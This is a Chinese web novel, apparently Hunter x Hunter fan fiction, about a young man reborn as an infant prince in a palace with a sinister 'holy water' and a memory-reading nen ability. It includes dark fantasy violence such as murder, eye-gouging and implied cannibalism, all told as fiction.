《念能力是神明的玩具箱》
1. 转生×银发美人×梦境
比意识苏醒先来的是一股剧痛。
霁想叫出声来却只有哇哇哇的哭声,新生的舌头不听主人的使唤,使霁的痛苦在旁人耳中似乎没有什么重量。
有一只手重重的攥着他的脚,脚后跟刚刚被针刺过,大滴大滴的血珠被采集,血液在冷光下竟然呈现着异样的色彩,但目睹这一切的几人对此没有任何惊异。
霁不知道他的血有着彩虹的颜色,他只知道自己熬到凌晨4点入睡醒来就转生成了一个小婴儿,现在右脚正在被一只带了胶皮手套的无情大手狂捏。
疼死了!婴儿大声的咿咿呀呀,带着令所有母亲心疼的泣音,胶皮手套停止了挤血。
霁原本以为这个人是良心发现了,结果胶皮手套开始边给他止血边和其他人说笑,没有一点想把婴儿抱起来哄一哄的迹象。
可恶的医生!
霁瞪大了视野模糊的眼睛一点点放小了哭声开始努力光明正大的听这些医生谈笑。
幼儿的身体十分难控制,即使霁有着成人的意志也无法阻止这具身体发出抽噎,极力抑制的结果是这具实际年龄为30分钟的躯体开始打嗝。
在打嗝声中霁悲伤的发现他听不懂医护人员在说什么,转生的这个世界和他原本的世界用的不是一套语言体系。
他只能努力的把这些话生硬的记下来,总觉得是非常重要的讯息呢。
唉?好像真的能记住他们说的话,这是什么自己上辈子苦苦哀求的神童体验卡。
新脑子就是好用,在沾沾自喜中霁抵挡不住困意睡了过去,梦里他正在给某视频发评论,敲下了:好想用这样的脑子活一次啊!
婴儿带着纯净的笑容酣睡,“医护人员”还在说着一些能让霁立刻主动重启人生的话。
“明明是最近难得的看起来正常的孩子,怎么就不是银发呢?”
“又不是只有银发才有王的潜质,他只要质量上乘照样可以去上面。”
“切,那你说说这么多代能去上面的哪一个不是银发?”
“理论上还是可能的......”
“好了!”
一个狂喜的声音打断了这段经不起细敲的对话,也让这间屋子里的所有人都开始沸腾起来:
“检测结果出来了,这孩子是新的幼王,我们的任务完成了!”
欢呼雀跃的动静吵醒了霁,嘴不受他控制的瘪了下去,发出呜咽的声音。
这一次醒来迎接他的再也不是疼痛与漠视,温暖的怀抱带着甜腻的味道,适口的奶水填饱了他干瘪的肚子,这是他来到这个世界后的第一顿饭。
饥饿使他没有意识到所谓的医护人员身上为什么会有除了消毒水之外的味道,他只是在努力吮吸着奶嘴,满足这具身体贪婪的愿望:活着。
在场众人的愿望都将被满足,在大家充满欲望的视线里,被吵醒的婴儿吃饱后又陷入了甜美的梦里。
“他将拥有一个完美的童年,在阳光鲜花金钱的供养下茁壮成长,我们下次再与他见面就是他16岁发育完全的时候了,到时候我们就有了新的任务,这是我们的使命。”
有人吻了吻婴儿的额头,最后的誓言也被宣之于口:“一切为了伟大的特斯岚。”
众人齐声宣誓,表情庄严:“一切为了伟大的特斯岚!”
等到霁再一次醒来,他已经睡在了一个华丽的摇篮里,宝石与贝壳装饰的风铃悬在摇篮上,他尝试去触碰,成功让风铃发出了悦耳的响声,清脆空灵的铃音与珠宝发出的火彩过于梦幻,霁有些不敢相信眼前的一切。
即使刚出生的婴儿只能看到这点东西,霁也能肯定的说他来到了一个富有的家庭。
婴儿咿咿呀呀说着些别人听不懂的婴儿语,纯粹的天真美好总能激起基因里最原始的保护欲。
霁意识到房间里还有一个人是因为那人冰冰凉凉的银色长发有一缕垂到了他的脸上。
那是个毋庸置疑的美人,他浅红色的眸子静静的凝望着某处,虽然背着光无法看清表情,但从睫毛投下的阴影,被光吻过的高挺鼻梁和抿紧的薄唇不难看出他的悲伤。
大概就是感觉至上吧,在前世我们会称呼这种摸不着的事物为氛围感,比如黄昏下的逆光美人总笼着一抹淡淡的忧伤。
他就这样无声的看着霁看了许久。
头发晃动扫在脸上很痒,小小的身体手比脑子快,在霁意识到了之后他的手已经攥住了一缕银发。
美人的睫毛颤动了下,仿佛下定了某种决心,轻轻的用手抚上了霁的脸。
很凉。
霁在美人摸猫一样的抚摸下开始哼哼唧唧,他很喜欢,即使“妈妈”的手很凉,会让这具身体不适。
直到那双手抚到了脖子后停下,收拢——
“王,你不能这么做。”一位扎着高髻的女士用手指捏着美人的手腕将他拉离摇篮。
“哈”,银发美人戏谑地盯着高髻女士,女士回以微笑,用手帕擦拭了下指尖,把帕子扔到了地上:“婴儿比较脆弱,王还是不要与小王子嬉闹了。”
银发美人转身就走,没有再看霁一眼,“不劳您费心了,最好看好你们的小王子,指不定哪天就夭折了。”
高髻女士对此没有多言,只是轻飘飘的说道:“我听后/庭说王还没有完成今天的庶务,王还需继续努力,一切为了伟大的特斯岚。”
远去的背影透露出一丝狼狈,如血的夕阳下黑色的影子在猩红的地毯上不断地拉长,直至消失不见。
霁听不懂他们之间的交谈,但他能看懂他们之间充满无形刀光剑影的交锋,也能察觉到一个不争的事实:疑似母亲的美人想要杀了他。
脖子上微凉的触感好像还在,像蛇一样环着他的脖子,他不禁打了一个寒战,用手紧紧地攥住了高髻女士宽大的袖子,繁复的蕾丝让娇嫩的皮肤微微刺痛。
虽然不知道自己究竟是不是因为熬夜猝死才转生的,但既然他有了新的人生,那他希望自己能活得更久一点,至少要活过上辈子的年龄吧。
高髻女士能满足他的愿望,霁想。
至少婴儿时期她能护自己周全,让他不至于潦草的死在疯批美人掌下。
高髻女士垂眸看向霁,脸上的表情像画上去的一样一直没有发生过变化。
“乖孩子。”
她开始轻轻摇晃摇篮,唱起了摇篮曲:
“......
伟大的特斯岚,你带着拯救的使命从天上来
你带来了新生的希望
让我们歌颂你啊——我们伟大的特斯岚
伟大的特斯岚,你带着天上的美色踏入凡间
你带来了世间的色彩
让我们传颂你啊——我们伟大的特斯岚
让我们诚恳的献上誓言
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一切为了伟大的特斯岚
……”
小婴儿也太容易困了吧。
霁在入睡前迷迷糊糊的想着,但愿还能醒来晒晒明天的太阳。
直至入睡他也没有松开高髻女士的袖子。
又做梦了,梦里自己正在打一段评论:好想用这样的脑子活一次啊!
为什么会说“又”?霁对此产生的疑惑像微风吹皱的湖水,顷刻就消失的无影无踪,自此风平浪静。
打完字拇指悬停在发送键上迟迟没有点下去。
唔……莫名不想点下去呢。
最后还是发送了。
霁突然想起来了,这是转生前发生的事——
但已经来不及了,因为他已经没救了。
谢邀,20岁花季少男国庆留守宿舍,只因在一条超忆症神童的视频底下留言就惨遭穿越。
以上纯属开玩笑,霁,或者说林霁是躺在床上玩手机被突然塌了的高低床砸死的。
没错,他睡下铺,即使上铺当时没人飞来横祸还是一波带走了他。
不知道自己为什么会忘了自己的死因。
想起前因后,林霁这场为自己揭示真相的梦境就变成了一片虚无,只剩永恒的黑暗。
不知道老爸老妈知道自己的死讯会怎么样。
环抱住膝盖,林霁把头埋在膝上,不愿再去细想。
转生带来的新奇感和激动都被异世界的死亡威胁和自己上一世死亡前的巨大恐惧吞没。
“想开点,这不是还有一次机会嘛,这次活够本也是一样的。”
林霁开始自我宽慰。
“再说上一世那么倒霉,这一世说不定能幸运点,长命百岁。”
“一定的……”
“哦咿呀咿咿呀呀!”睡足了饱觉的霁精神十足但肚子饿了,对婴儿身份适应良好的他开始试图召唤大人给他喂奶。
温热的触感在眼下转瞬即逝,高髻女士擦拭掉了霁眼下不知何时流下的泪水,这时霁才发觉她一直没走:因为她的袖子还攥在自己的手里。
“是做噩梦了吗,可怜的孩子……”高髻女士小心的将自己的袖子解救出来,霁顺势放了手。
不理解高髻女士在说些什么,但霁同样在为自己在睡觉的时候流泪感到困惑。
睡醒后脑袋轻轻的,感觉像是抛下了什么包袱,这样的状态就算是落泪也是在美梦中没有任何遗憾的落泪的吧。
其实感觉脑袋轻轻的也可能是因为他现在还没有长太多的头发吧,晃晃脑袋,霁被自己逗笑了,开始乐呵的露出无齿的笑容。
高髻女士接过女仆递上的奶瓶,脸上一直不变的笑容好像真实多了:“还是个婴儿,无忧无虑的。”
她抱起小王子,手法十分娴熟,亲手喂他喝奶。
神奇的是她虽然看上去很年轻但手法十分娴熟,使霁能非常舒服的进食。
“一切都是新的开始,吾王。”
栗发女士抱着小婴儿目光空空的落在一处——那是刚才银发美人凝望之处。
小王子什么都不知道,他对香甜醇厚的奶水感到满意,只是一味的进食。
唔,你说这奶怎么这么好喝呢。
窗外残日没入浓黑的地平线,最后一抹霞色也已经消散,高髻女士将霁重新放进摇篮里。
“晚安,吾王。”
2. 日常×遗忘
经过几天的观察,霁发现他所在的地方应该叫特斯岚高髻女士大概是主管一类的人物。
不要误会,霁还是听不懂他们说话,只是特斯岚这个字眼以非常高的频率出现在他身边说话的人的话里,而高髻女士抱着他处理过公务。
银发美人从那之后再也没出现过了,霁为自己复杂的家庭情况感到头疼,因为至今为止还有一个父亲没有出现过,而且高髻女士好像一直负责管家又与疑似母亲的银发美人不和。
虽然高髻女士有着超越平均线的美貌,整个人散发着一种别样的气势,但她的穿着打扮又会很自然的让人发觉她是位训练有素的管事,或者是管家?
头发一丝不苟的熟成高髻,没有一丝发丝散乱,光洁的额头下是一双炯炯有神的眼睛,不管何时看都十分清明,窥不见更多的情绪,脸上的表情像一个娃娃,是格式化的笑容,固定在脸上万年不变,即使是只有她和小婴儿时。
经典黑白配色的衣物,不带任何饰品,脸上也没有进行任何妆点,身上唯一与其他女仆的区别就是裙子上繁复的蕾丝。
说实话,要不是她足够年轻,霁可能会以为这位是自己的奶奶。
和儿媳关系不好,掌权不肯下放,导致儿媳产后抑郁想带儿子轻生,结果被婆婆发现把孩子抢走不说自己还被禁足,对了,丈夫根本不着家,回来也是妈宝男……
不要太过合理啊喂!于是霁在不知不觉中给自己未曾谋面的父亲扣上了一顶妈宝男的帽子,虽然故事里的妈是不存在的。
和女仆玩了会遮眼游戏,被放在舒适的吊床上晒了阵太阳,霁趴在女仆的肩上打了个哈欠,看着走廊上光可鉴人的墙壁,眨巴了下自己碧蓝的大眼睛。
这和自己有什么关系吗?自己现在只是个金发碧眼听不懂人话的小宝宝,睡着宝石摇篮的那种。
乖乖在女仆的哄睡中一点点入睡,最后的念头是:这样的日子好像还不错。
又一次陷入了深层的梦魇里,从死亡那一刻开始的人生倒带已经到了大一那年吃学校发的月饼,和留校的舍友一起猜是什么馅的时候了。
林霁夺门而出,身后传来舍友的惊呼声:“小林子你那么着急跑出去干什么?”
跑出宿舍楼,在月亮之下他掏出手机拨出了那个烂熟于心的号码,却在拨通的一瞬间挂断。
没有必要了。
自从多次陷入梦境林霁就发现了一个可怕的事情——在梦境里他前世的人生正在逆行!
他知道自己已经死了甚至还转生到了异世界,但他根本不记得自己是怎么死的了!
没错,他的记忆也在随着人生的倒带一点一点的遗失,除了印象格外深刻的记忆还能在遇到刺激时想起来,比如他已经死了的这件事。
转生后的自己并没有意识到前世记忆的丢失,毕竟每天除了吃就是玩的家伙根本没有用到“一段记忆”的时候,对于一个活的十分安逸的婴儿来说这只是无用之物。
婴儿的多觉使短短十几天自己梦中的前世人生倒带了一年。
这是什么?是《死亡后我的人生偷偷逆转吗》?
林霁在校园里漫无目的的乱走,毕竟能看一眼看一眼,大学不能白考,少看一眼都是亏的。
想到这里林霁一脸痛苦面具,谁懂啊,十几年的寒窗苦读换来倒着再读一遍,早知道大学的时候好好玩了。
林霁心有戚戚,走到尚德湖就停下来看着月亮发呆。
梦里的荒诞来自于真实,这一天他没有来过这里,所以路过湖边的路人几乎都是没见过的人,他们穿着打扮都很正常,说说笑笑与常人并无差异——如果他们的脸上没有黑色的乱线就完美了。
那团乱线像孩童拿马克笔在白纸上反复乱涂的结果,滑稽的令人发笑,出现在梦里诡异的要命,彻底杜绝了林霁把梦和现实混淆的可能性。
因为没了之前在梦里的记忆,只对自己的遭遇有所感觉,林霁不清楚自己在梦里是否反复被这种粗制滥造的npc吓到。
胡思乱想了会,林霁觉得这种慢慢遗忘前世记忆的“梦”好像也挺好,万一长大后发现异世界一点也不好还可以小点落差。
“不管了,交给下一次梦里的林霁苦恼去,反正我在异世界过的还不错。”
林霁躺在草坪上,哼着歌,陷入了真正的梦乡。
梦里有妈妈的摇篮曲和令人饥肠辘辘的饭香。
霁醒了。
现在他已经能正常视物了,造型华丽的天窗外圆月高悬,冷冷的月光洒在华丽的摇篮上,旁边守夜的女仆在打瞌睡,而他正在思念火腿月饼。
“啊!”女仆一激灵突然惊醒,发现小王子睁着滴溜圆的眼睛不禁小声的发出惊呼。
要是被塞纳主管发现自己守夜睡着了可糟了。
拿帕子擦了擦额上吓出来的虚汗,小心的抱起小王子,将一直温着的奶拿来喂他,发现小王子并不饿后开始轻拍他的小身子哄睡。
而霁睡不着。
他举着肉乎乎的小手摇摆,“咿咿呀呀”的乱叫。
“呜,这孩子突然好精神。”守夜的女仆没辙,小王子虽然比起其他孩子来说性格上好得要命,几乎很少哭闹,是个名副其实的天使宝宝,但有时候会突然很精神,必须抱着去房间外走一走才能哄睡着。
没办法,女仆用带绒的小毯子将小王子裹紧后把他抱出了房间。
走出房门透过走廊可以看到花团锦簇的庭院,庭院里有石子小路,沿着小路走能看到一个巨大的喷泉,泉水在光下泛着彩色的虹光。
第一次被塞纳抱着来到外面时霁惊呆了。
知道自己投胎的人家不缺钱,但没想到会这么有钱。
如今霁再次被抱到庭院里已经可以波澜不惊了,但还是会很兴奋。
自从发现他喜欢到外面,塞纳就没有把他拘在房间里的想法了,不但自己常常把孩子抱出去,也默许女仆带他出房间。
但这是霁第一次在夜间出行,他惊奇的发现庭院里的花在晚上竟然会发光!
“啊啊啊。”小手一挥,我要花花!
显然,能贴身照顾小王子的女仆足够通婴性,单手抱住孩子凑近花圃折下了一朵蓝色的花朵,模样像极了牡丹,花瓣层层叠叠裹着嫩黄的花蕊。
女仆将花放入小王子手中,看着怀中无忧无虑的小婴儿,她轻轻将毯子拢了拢,小声笑着说:“这朵花和您眼睛的颜色一模一样,但它不及您眼睛透亮。”
听不懂女仆话语的霁对此没有任何反应,正在努力用自己难用的手指扯花瓣。
沿着石子路继续缓缓向前,喷泉出现了,霁瞪圆了眼睛,张着嘴看着散发着彩色光泽的泉水。
之前都是白天来到这里,他一直以为泉水上的彩光是由于光的折射,但现在是晚上,这泉水依旧如他上次看见时那样光彩夺目。
难道是因为异世界的月亮比地球的更大更圆更亮?
霁仰头看月,开始怀疑人生。
到了喷泉前面,女仆单手
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鞠起一汪泉水,神情诚恳的低头饮用。
发现小王子看着泉水,她甩掉手上残留的水珠,用泉水仔细的涮了涮手指,将挂着水光的指头悬在他的唇前:“小王子要尝尝吗?感谢伟大的特斯岚,正因为有特斯岚我们才有了这么神奇的泉水……”
喂喂喂,我可不要喝生水啊,尤其是看上去就诡异的泉水!
正在和前世物理知识斗争的霁才刚刚和自己和解,接受了异世界的神奇设定就被女仆半强迫喂泉水。
婴儿的身体只能进行微弱的反抗,霁又不能张嘴乱叫:笑话,一张嘴下一秒水就进嘴了。
唇上已经有了微凉的触感,霁感到了绝望。
“啊!”
腾空感突然出现,霁还没有反应过来就从女仆的怀里掉了出去。
完了。
只来得及闭上眼睛,就被一个带着冷香的怀抱拥住。
含着泪的眼睁开后模糊地看到了月亮的银辉。
是银发美人。
“你用你的脏手在干什么?”含着怒气的声音有些虚弱,银发美人的怀里却很温暖。
“对不起,王,王……”女仆委屈的跪在地上,捂着泛红的手背眼含热泪:“我只是想让小王子更加健康,这可是特斯岚的圣水啊……”
王被气笑了,抱着霁往大殿走去。
“呜……”
女仆彻底忍不住了,开始放声大哭。
霁不理解。
但不管怎么样他都不会可怜那个试图给他喂生水的女仆,这个举动说不定会使这幅脆弱的躯壳生病一命呜呼。
毕竟据他这么多天的观察这个世界科技测好像不是很发达,大家的日常用具还是很中世纪的。
但现在这个问题可能要重新思考了,这个世界的设定好像有一点点不科学。
难得又见到银发美人,霁好奇的看着他,成功有了新的发现:
这个自己一出生就试图终结自己的疑似妈妈的银发美人是个男人。
那天刚出生眼睛不太看的清东西再加上银发美人在黄昏背光坐在摇篮前,清冽的音色和美丽的容貌都很具有迷惑性。
现在自己的视物没问题了,异界的月光下,模样标志的喉结清晰可见。
“……”
所以是俏父亲咯。
“嗝!”正观察着,霁打了个响亮的嗝。
出门前女仆为他裹着的小毯子在刚刚的惊魂一刻掉落了,我们的小王子也是很不意外的着凉了。
王停下来了,看着怀里着装清凉的小婴儿难得陷入了沉默。
“抱歉,是我着急了。”王他自己的穿着也仅是一身单薄的衣物,显然不能脱下来给霁,他只能把霁抱的更深,企图以此减少寒风。
“那种肮脏之物最好不要入口。”
无声的走了一段路,王突然开口道:
“好恶心啊……”
霁听不懂银发美人在说什么,只能听到他说着说着突然开始干呕,接着就有冰冰凉凉的水珠滴到自己头上。
“哇哇哇咿?”难道下雨了吗?
有布料擦拭了下霁的头,是流泪的王的袖子。
“我们流着同样的血,这是我们必须背负的罪恶。”
有温润柔软的触感紧接着落在了小婴儿长着稀疏金色绒毛的头上。
月光下披散着银发的赤眼美人用被自己咬破的唇吻了吻金发碧眼小婴儿的头,一触即分,唇上一抹虹光愈发鲜艳,像抹上了少女最爱的唇釉。
3. 处理女仆×念能力×旧事重提
银发美人把霁带到了属于小王子的寝宫,把他放到了摇篮里转身就走了,走了几步突然折返给小王子盖上了小被子。
霁把大拇指放入口中,开始啃手指。
夜探了一下花园接收到的信息量巨大啊,必须佐以大拇指配之,此味甚美。
首先,这个世界主要发展的不是科技侧,但信息太少无法判断高端科技的发展程度;
其次,合理猜测这个世界应该有异能力之类的不科学设定,女仆喝泉水前眼下还有肉眼可见的黑眼圈,喝下泉水后皮肤明显变得更加白皙,眼下的青黑不见踪影不说,脸蛋上多了一抹亢奋的潮红。
最后,银发美人疑似自己这具身体的父亲,最开始不知道因为什么原因打算掐死自己,现在好像已经接受了自己的存在,还帮了自己。
其实月光下的泉水有种别样的吸引力,美丽而又神圣,不像世间该存在的东西。
但不知道为什么,当霁近距离接触泉水时,能感觉到一股往骨头里窜的阴寒,像挨了块久久不散的寒冰。
现在胳膊还感觉凉飕飕的。
霁又恶狠狠的啃了啃手指,好像成为小孩后行为举止会不受控制的幼儿化,就向现在,他真的觉得手指挺香的,虽然他自己知道啃手不卫生,纳西也在极力阻止……
“不能啃手哦。”
“呀咦!”
霁一激灵,放入口中的手指被轻柔的拉出。
是塞纳,即使他现在视力是正常的,塞纳的出现也总是那么突然,根本注意不到她的接近。
是塞纳的问题,塞纳无处不在。
或许这就是他想找寻的属于异世界的不科学力量。
小王子笑眼弯弯,咧着嘴咯咯咯笑着不停。
“他对你说了什么?”
塞纳头发弯曲垂下,无风飘动,脸上的光影随着手提灯的晃动明明灭灭,看不清神色。
“呐,我的王,你一定要记住,这个王宫只有我对你是完全无害的。”
手提灯里的光熄灭了,塞纳轻轻摇动摇篮开始哄睡小王子。
“我爱你啊,从你还没诞生的时候就在爱着你了,你是属于我的王。”
声音越来越低,最后只有淡色的唇在张合。
可恶,好想听的懂人话。
霁带着不甘睡去。
梦里林霁开始了新的一天。
一梦一天,现在是中秋的前夕。
躺在宿舍床上林霁没有一丝睡意。
怎么样才能让“霁”意识到他一直没有梦的记忆呢?
但在异世界正在快乐生长的自己都还没有意识到自己只记得名不记得姓。
“不管了,只要能幸福其他的什么都不重要。”
林霁用被子盖住头。
“总感觉在梦里妥协了无数次......”
庭院,月亮被云遮盖,世界都暗了几个度。
无数人抬头看向一轮圆月,有思念,有担忧也有死亡。
散落的蓝色花瓣遮住了女仆瞪向天空的独眼,黑色的裙摆在地上盛住了残缺的花朵。
失去眼球的空洞似乎在向世人诉说着少女圆月之夜死亡的秘密。
“咕噜咕噜”
细微的声音响起,失去了瞳孔的惨白眼球滚落。
水流搅动的声音响起,塞纳举起还带着水渍的左手,对着不知何时散去阴霾的圆月舒展。
彩虹的颜色使这双白皙的手异常的美丽,完全看不出来这双手刚刚剜出了一个绝望少女的眼球。
“是这样啊......王还需要继续警告呢,为了吾王的安危,自此之后我将寸步不离的守护他。”
失焦的瞳孔在她几个眨眼间恢复原样,右眼与整张脸的神情相比显得有些割裂,竟能从中看出几分怯懦和恐慌。
塞纳的模样与刚才大相径庭,左棕右绿的异瞳的样子妖异极了,右眼翠绿的眼瞳与今夜守夜侍女眼睛的颜色一样。
念能力【他的眼眸】,可通过对视读取他人看到的画面片段,片段的选取具有随机性,片段长短与对视时间呈2:1,超过24小时的画面将无法被读取。
【我的眼眸】,与刚摘取下来的眼球对视可读取原主人72小时亲眼所见的画面,读取时间长短随眼球的新鲜程度决定,读取完画面后将继承读取对象的眼眸。
显然,塞纳是一名特质系念能力者。
“把花园清理干净。”在旁边待命的几个侍女一拥而上,对这种场面好像早已见怪不怪了,几人分工明确,尸体被塞入麻袋中放上小车运往花园,余下的几个人跪在地上处理血迹。
塞纳脚步不停,向王宫的更深处走去,高跟鞋的“噔噔蹬”声仿佛踩在了在场所有人的心上。
要快点啊,不要让吾王等急了。
眼睛的颜色......要快点变回来呢。
花圃中栽种的蓝色花朵在月辉下随风摇曳,无声的诉说着血色的秘密。
直到看不见塞纳的身影,再也听不到她的脚步声,整理现场的女仆们才敢松一口气。
有一个年纪较小的女仆忍不住落下眼泪,泪珠“啪嗒”一声砸在路面上,浸润出了一片不规则的湿痕。
死亡的侍女昨天还在为能近身照顾小王子而兴奋的夜不能寐,今天上午满怀希望的开始新的工作,没想到晚上就变成一具冰冷的尸体了。
“如果接受不了这份工作你还是快点去办离职吧,王宫外不知道多少人等着王宫里能空出一个位置。”
有女仆冷不丁出声提醒艾娜,艾娜擦了擦眼泪继续卖力的填坑,那个有着碧色眼睛的开朗姑娘就躺在里面,花圃里的花将因她的尸体而愈发娇艳。
艾娜即为她伤心又为自己的未来感到担忧,但她常年卧病在床的母亲还需要靠着她一月一瓶外带圣水的王宫职员福利续命。
成为王宫女仆是她千辛万苦得到的结果,她不可能退让。
这是她的选择,她愿意为此付出代价。
被泪水洗过的眼睛在月光的照耀下闪闪发亮,有个女仆用手挑起她的下巴,艾娜浅棕色的眼睛温柔极了。
“没那么像......真是好运的家伙。”女仆嘟嘟囔囔的收回手,意味不明的看着艾娜:“但愿你不会因为你的决定后悔。”
艾娜对前辈莫名其妙的行为敢怒不敢言,只好垂下眼睛继续埋土,假装自己还没有缓过来。
女仆看艾娜没有反应,暗骂一声就没再自讨没趣了。
王宫仆人的待遇好的有点过分,卡卡王宫最有名特产卡卡圣水仍由员工们私下不限量取用不说,仆人们每月放假甚至可以取一小瓶出宫随便处置。
要知道这可是外面的大富豪捧着千万尼戒都供不应求的卡卡圣水啊!
一滴可使枯木逢春,拇指大小一瓶保身体康健,长期饮用延年益寿......
定期饮用运气好甚至可以治愈绝症。
正因如此,王宫在卡卡王国国民眼中无比高尚,是所有适龄年轻人梦寐以求的去处。
卡卡王国王宫里有太多有梦想有干劲的年轻人了,就算再多少几个也不
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会有人发现——毕竟这点空缺很快就会被其他人填上。
难道国民们会怀疑崇高的卡卡王国王宫?这样的话只能遗憾的告诉家属一个不幸的消息了:那个不老实的家伙偷走了几罐卡卡圣水后潜逃了,我们怀疑你贼喊捉贼,希望能乖乖配合我们搜查。
这就是我们美丽的卡卡王国,全能的卡卡圣水原产地,伟大的特斯岚王国的附属国,一个永远富庶被奇迹眷顾的小国家。
“世人只知道卡卡王国的卡卡圣水,谁又知道我们卡卡王国被遗忘的王呢?”
一个头发发白皮肤皱皱巴巴的老人叹息着,浑浊的眼中竟流下了清澈的泪。
“呸,你个老不死的天天尽说些似是而非的话有完没完啊,卡卡王国自从100年前归顺特斯岚王国后真正的统治者就不是王了,那些王室不过是拿着国民交的税的废物吉祥物罢了。”
一旁坐着清点纳戒的富态中年人白了老人一眼,看着眼前大笔的纳戒笑得合不拢嘴。
“也不知道王室在高贵些什么,每次除了参加特斯岚建国大典外从不参加其他出镜活动,这得少赚多少纳戒啊!”中年人脸上的肥肉猛地一抖,露出了心疼的表情。
“唉——”
老人再一次长长的叹息了一声,换来了儿子狠狠的一踹。
老人痛哼一声,干瘪的身体撞到了墙角,一动不动了。
“晦气死了,你们这代怎么一群老不死,谁活得过你们啊。”中年人向老人吐了口吐沫,抱着尼戒就摔门而出。
角落缩成一团的老人断断续续的喘着气,嘴唇一直蠕动,不停的无声重复着3个字:“报应啊!”
眼底的光渐渐熄灭,他好像又回到了那个黄昏,大人们夹道相迎铁骑,跪地呼喊一切为了伟大的特斯岚。
等那座建在山崖上的宫殿冒出滚滚浓烟后,父亲母亲突然抱着一个黑色的包裹打开了家门。
他们推开上前的孩子,迫不及待地带着东西跑进了厨房,紧紧的锁死了厨房油腻的木门。
他现在还记得大姐变得煞白的脸和大哥发抖的身体。
还有自己那碰到包裹,多了一抹彩色的手背。
粘腻而又散发着腥甜。
父亲母亲从厨房端出一盆肉汤,汤色斑斓,与公主平时发放给病人的圣水有着一样的色泽,只是颜色更加浓郁。
“我们会一直在一起,永远。”父母承诺。
肉很嫩,汤很甜,哥哥一直在嘶吼,姐姐一直在哭。
这是缠了他一辈子的噩梦。
王被自己爱着的子民背叛了,他们吮吸干净了最后一滴属于卡卡王室成员的骨髓。
56具尸体,这是许多人偷偷数过的尸体数量,不会再有活着的卡卡王室成员了。
新的“王”却在特斯岚国王的见证下继位,所有人缄口不语。
直到卡卡圣水再一次出现在卡卡王国,卡卡王国直接疯掉了一代人。
“太聒噪了,砍掉他们的舌头吧。”
这是自卡卡王国向特斯岚王国俯首称臣后,卡卡王唯一一次发布王命,自此王统治卡卡王国的时代就结束了。
老人合上了眼睛,微笑着迎接期盼已久的永眠。
恍惚间,他好像看见了自杀身亡的姐姐在向他挥手,高兴的告诉他:
“神说我们的罪孽将要被清洗,只要到那个地方耐心等待着,最后的卡卡王者将给我们真正的宽恕!”
姐姐牵住了他的手,他们一起向前,向前,再向前。
他罪恶的一生终于结束了。
4. 长寿者×艾娜
卡卡王国最后的长寿者去世了,这个消息引爆了多家媒体。
印着一个堆满肥肉、涕泪纵横大脸的报纸发往世界各地,上面黑色加粗的铅字是“惊!卡卡王国最后一位长寿者逝世,享龄186岁!”,但报纸通篇在讲长寿者儿子的饮料公司,最新产品里面加了少量的卡卡圣水,长期饮用能延缓衰老,甚至可以成为长寿者。
除了这篇讣告,其他相关报道倒是有在认真的谈论卡卡王国长寿者的离世,在为见证了世代更替的亲历者彻底消失而感到惋惜。
这些报道极少谈及卡卡圣水,但字里行间都是卡卡圣水。
活到186岁才死亡的长寿者是卡卡圣水的活招牌,是世人对卡卡圣水价值的再一次肯定,卡卡圣水的价格飙升到了一个令人瞠目结舌的数字。
有专家在访谈节目里提及此事,对长寿者的死亡再次表示惋惜,“永远无法忘记5年前特斯岚庆典上数百名卡卡长寿者组成的壮观方队,没想到短短5年内这些长寿者相继去世,再到今天卡卡长寿者成为了历史......说不定卡卡圣水真的能成为改变世界格局的关键,让人类突破寿命限制,甚至研究出永生的终极秘密!”
专家越说越兴奋,最后竟然脸色变得紫红,两眼一闭激动的晕倒了。
经此事,一双双或冷漠或贪婪的眼睛透过薄薄的报纸望向卡卡王国,卡卡圣水受到了空前的关注。
卡卡王宫内,一个还在梦乡中的小婴儿并不知道命运的浪潮已经裹挟着他向前走,前方是无尽的尸山血海。
“好运啊艾娜,我就知道我没看错,你被塞纳主管选中了,快点准备准备去照顾小王子吧。”
饶舌的女仆用手捂着咧着的红唇,眼神怜悯的看着她。
艾娜没有给出旁人想要的反应,沉默的收拾着包裹,旁边看热闹的女仆开始发出怪笑。
她们只当艾娜是个活死人,沉默只是她临死前的挣扎罢了。
东西并不多,艾娜提着家当走向新分配的宿舍,天刚刚蒙蒙亮,微凉的风中她感觉全身发烫,手里攥着的钥匙有些发粘。
打开房门,艾娜彻底没了力气,行李脱手坠地,人也瘫倒到床边。
照顾小王子是王宫最近的头等大事,被提拔上的女仆待遇好极了,靠近宫殿的单人宿舍,每月2万戒尼的待遇只是最基础的。
艾娜举起手,握紧,脸上的笑容再也抑制不住了。
上6休1,每次休假都可以带出去一瓶卡卡圣水,妈妈的病有救了!
“感谢伟大的……卡卡小王子。”
幸福来的如此突然,艾娜再次想起昨日的所见所闻,恐惧已经无法占据她的心神了,她只能感觉到一股因刺激而油然而生战栗。
这是全新的挑战,只要再努力一点,再小心一点,再谨慎一点,自己一定能再次得偿所愿,就像自己从万人中脱颖而出,成为了王宫女仆。
张开手,阳光从手指缝隙中透过,打在艾娜眯起的眼睛上,小雀斑闪闪发光。
即使平凡如我。
“呀咦——”
霁啃着小奶嘴好奇的看着眼前新来的女仆,女仆艾娜对着小王子俏皮的眨了眨眼,腼腆微笑。
也就是塞纳背对着这边她才敢偷偷逗自己。
霁刚闪过这个念头,塞纳就走了过来,艾娜慌忙低头,塞纳却还是停到了她的面前。
不知道塞纳凶残程度的霁还在睁着卡姿兰大眼睛等着看小女仆与大主管之间的职场风云,知道犯错女仆下场的其他女仆已经开始瑟瑟发抖了。
当然,其中不包括艾娜。
她并没有感觉到生命受到了威胁,她觉得自己会没事的,或许说命不该绝更合适。
“抬起头来,看着我。”
闻言,艾娜仰起头直视着塞纳主管。
16岁的少女身段玲珑,头顶才恰恰够到身前女士的下巴,光好像格外偏爱少女,照在她身上时温柔极了,棕色的头发散发着温润的光泽。
当然,她现在被塞纳遮住了,霁只能看到她胡乱翘起的正在发光的发梢。
不知道两人对峙了多久,霁只想吐槽这种小白花职场逆袭既视感极强的画面。
是的,霁他爱在心里偷偷给别人起外号。
“你合格了,从今天起你负责陪小王子玩耍。”
塞纳终于结束了这场无声的审视,微微点头任命了这个刚刚入职王宫两天的姑娘。
艾娜瞪大了眼睛,明明已经可以结束了却还在呆呆地仰头看着塞纳。
“艾娜?”
听到塞纳出声提醒,艾娜捂住嘴双颊通红:“对不起主管!我,我太高兴了,我一定会好好侍奉小王子的!”
“希望你能说到做到。”,塞纳满意少女的忠心,亲自上手为艾娜整理了下因为长时间仰头而凌乱的领结。
霁还咬着奶嘴看着有声无翻译情景剧,简称生肉,心里流下了宽面条眼泪:呜~又是想听懂人话的一天啊。
